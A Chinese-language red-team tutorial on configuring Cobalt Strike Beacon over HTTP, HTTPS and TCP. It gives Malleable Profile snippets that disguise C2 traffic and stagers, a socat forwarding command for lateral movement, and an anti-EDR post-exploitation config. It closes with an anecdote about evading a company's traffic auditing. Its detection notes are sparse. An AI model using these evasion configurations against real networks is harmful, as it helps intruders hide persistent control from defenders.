在红队攻防演练中,Cobalt Strike作为一款成熟的C2框架,其核心功能模块Beacon的灵活配置直接关系到隐蔽性和对抗能力。本文将深入解析HTTP/HTTPS/TCP三种基础Beacon的实战应用场景,通过Wireshark抓包对比流量特征,并分享Malleable Profile的定制化技巧。
Beacon作为Cobalt Strike的植入模块,采用异步通信设计降低暴露风险。其工作流程可分为四个阶段:
bash复制# 典型Beacon心跳包结构示例
GET /pixel.gif?id=12345 HTTP/1.1
Host: cdn.example.com
User-Agent: Mozilla/5.0
Cookie: session=abcdef
注意:默认配置的元数据字段可能泄露敏感信息,需要通过Malleable Profile进行模糊化处理
HTTP Beacon适合在需要快速部署的场景中使用,配置时重点关注三个核心参数:
| 参数项 | 示例值 | 安全建议 |
|---|---|---|
| HTTP Host (Stager) | cdn.example.com | 使用CDN域名降低可疑度 |
| HTTP Host (C2) | cdn.example.com | 与Stager域名保持一致 |
| HTTP Port (C2) | 443 | 伪装成HTTPS流量 |
java复制// 典型HTTP Beacon的Malleable Profile片段
http-get {
set uri "/analytics";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSION=";
header "Cookie";
}
}
}
在未加密场景下,HTTP Beacon流量具有以下可识别特征:
/pixel.gif)防御检测建议:
HTTPS Beacon的核心优势在于流量加密,推荐采用以下证书方案:
powershell复制# 检查证书有效性的命令示例
Test-NetConnection -ComputerName cdn.example.com -Port 443 |
Select-Object -Property RemoteCertificate
通过Malleable Profile实现HTTPS流量伪装:
java复制https-certificate {
set CN "*.example.com";
set validity "365";
}
http-stager {
set uri_x86 "/js/jquery.min.js";
set uri_x64 "/js/bootstrap.js";
client {
header "Accept-Encoding" "gzip";
}
}
提示:配合域前置技术可进一步提高隐蔽性,但需注意CDN服务商的政策限制
TCP Beacon特别适合内网横向移动场景,典型部署流程:
bash复制# 使用socat进行端口转发示例
socat TCP4-LISTEN:8080,fork TCP4:192.168.1.100:4444
通过Wireshark分析TCP Beacon与HTTP(S)的关键差异:
| 特征维度 | HTTP Beacon | HTTPS Beacon | TCP Beacon |
|---|---|---|---|
| 协议层 | 应用层 | 应用层 | 传输层 |
| 加密方式 | 无 | TLS | 无 |
| 心跳包形式 | HTTP请求 | HTTPS请求 | 原始TCP包 |
| 典型端口 | 80/443/8080 | 443 | 任意高位端口 |
| 检测难度 | 较易 | 中等 | 较难 |
现代EDR系统通常采用多维度检测策略:
针对不同安全设备调整Beacon配置:
针对防火墙:
对抗EDR:
java复制// 反检测的Malleable Profile配置示例
post-ex {
set spawnto_x86 "%windir%\\syswow64\\notepad.exe";
set spawnto_x64 "%windir%\\system32\\notepad.exe";
set obfuscate "true";
set smartinject "true";
}
在实际渗透测试中,曾遇到某企业网络部署了双向流量审计设备。通过将HTTPS Beacon的证书有效期设置为365天,并将心跳请求伪装成Office 365的API调用,成功绕过了基于证书异常和URL分类的检测机制。